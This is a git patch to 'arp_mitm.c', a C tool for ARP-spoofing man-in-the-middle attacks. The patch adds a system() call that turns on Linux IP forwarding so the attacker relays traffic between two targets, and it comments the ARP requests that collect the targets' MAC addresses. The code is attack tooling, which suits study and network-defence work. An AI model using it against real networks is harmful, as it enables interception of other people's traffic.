From 1b3f658c22e0fdefed0f9c9b80223e09d1db2b20 Mon Sep 17 00:00:00 2001 From: Dimitri Lozeve Date: Sat, 4 Jun 2016 09:19:33 +0200 Subject: [PATCH] Enable IP forwarding before launching MITM attack --- arp_mitm.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/arp_mitm.c b/arp_mitm.c index 401739b..cbf8b95 100644 --- a/arp_mitm.c +++ b/arp_mitm.c @@ -144,8 +144,14 @@ int main(int argc, char **argv) /* ====================================================================== */ - send_arp_request(sockfd, ifindex, ipaddr, macaddr, target1_ip); + /* Ensures IP forwarding is enabled on Linux, in order to make he + attacker "transparent" to packets moving form target1 to + target2. This is not persistent on reboot. */ + system("echo 1 > /proc/sys/net/ipv4/ip_forward"); + /* We send normal requests to both targets in order to get their + hardware addresses. */ + send_arp_request(sockfd, ifindex, ipaddr, macaddr, target1_ip); struct ether_arp reply1; listen_arp_frame(sockfd, &reply1); unsigned char *macaddr1 = reply1.arp_sha;